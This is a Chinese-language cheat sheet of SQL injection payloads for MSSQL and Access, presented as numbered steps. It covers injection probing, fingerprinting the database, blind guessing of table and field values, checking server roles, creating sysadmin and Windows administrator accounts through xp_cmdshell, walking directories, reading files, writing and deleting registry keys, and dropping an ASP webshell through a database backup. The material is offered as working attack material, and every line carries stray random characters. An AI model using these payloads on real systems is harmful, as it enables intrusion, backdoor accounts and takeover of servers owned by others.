1.判断是否有注入;and 1=1 ;and 1=2 eplz5%<
2.初步判断是否是mssql ;and user>0 C9,|G7~*q
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3.注入参数是字符'and [查询条件] and ''=' go6XUe
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' GH6 HdZ
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5.判断数据库系统 (P+TOu-y\
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;and (select count(*) from sysobjects)>0 mssql (9"w{pnlLc
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;and (select count(*) from msysobjects)>0 access 3? R56$-+
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 #><P28m
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3@t&5UjwQ
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b3h3$kIYN
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9.(1)猜字段的ascii值(access) !LG 5q/}&
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 "vH>xBR[%
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(2)猜字段的ascii值(mssql) 3ih3O
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >Q`\|m}x)Q
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10.测试权限结构(mssql) aX)k(*|
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- <kmH^viX
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- C:?mOM#_
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Bb~Q]V=x;
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- oB$P6
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- GY%2EM(
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- y3,'1^lA
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;and 1=(select IS_MEMBER('db_owner'));-- wT taj08D
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11.添加mssql和系统的帐户 kT=KxS{
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;exec master.dbo.sp_addlogin username;-- Uyuvmt>
;exec master.dbo.sp_password null,username,password;-- A~!v+W%vO1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- FxkxV GZ"
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;exec master.dbo.xp_cmdshell 'net user username password O1
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- kwM1f=!-
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- FEF $4)ROv
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QMI6l'"s
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12.(1)遍历目录 @ uF$m/g
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;create table dirs(paths varchar(100), id int) Q|CLis-
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;insert dirs exec master.dbo.xp_dirtree 'c:\'
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;and (select top 1 paths from dirs)>0 `yvH0B -
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `El)uTnuZ[
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(2)遍历目录 mjI
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- b14WIgjsl
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 KJLC2,
^=1:!'*3D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5TB==Fj ?
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 R|,F C'
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Bm\OH#
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13.mssql中的存储过程 _ft)e3Gf
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xp_regenumvalues 注册表根键, 子键 8#_"WzDw
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 /5s,<
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xp_regread 根键,子键,键值名 Nm;V9*5
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;exec xp_regread V1
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qbunP!
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xp_regwrite 根键,子键, 值名, 值类型, 值 Sd\+f6x
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 by{ *R
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 .%3qzOrN
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xp_regdeletevalue 根键,子键,值名 g0&Rl
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L74Sx0nk=
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Cjn)`Q8
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14.mssql的backup创建webshell *]uj0@S
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use model Z7@~#)3
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create table cmd(str image); L3
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insert into cmd(str) values (''); .:(N1n'>1
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backup database model to disk='c:\l.asp'; xSal=a;k
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15.mssql内置函数 w]Fi:kV
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;and (select @@version)>0 获得Windows的版本号 H>/LC* 8-
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa A8by5qU
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;and (select user_name())>0 爆当前系统的连接用户 (q|EC;
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;and (select db_name())>0 得到当前连接的数据库 U if61)+!i
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16.简洁的webshell 9"TPAywd
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use model TiF2c#Q*y
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create table cmd(str image); ,aLdW,<6
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insert into cmd(str) values (''); w&E*{{otJ
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backup database model to disk='g:\wwwtest\l.asp';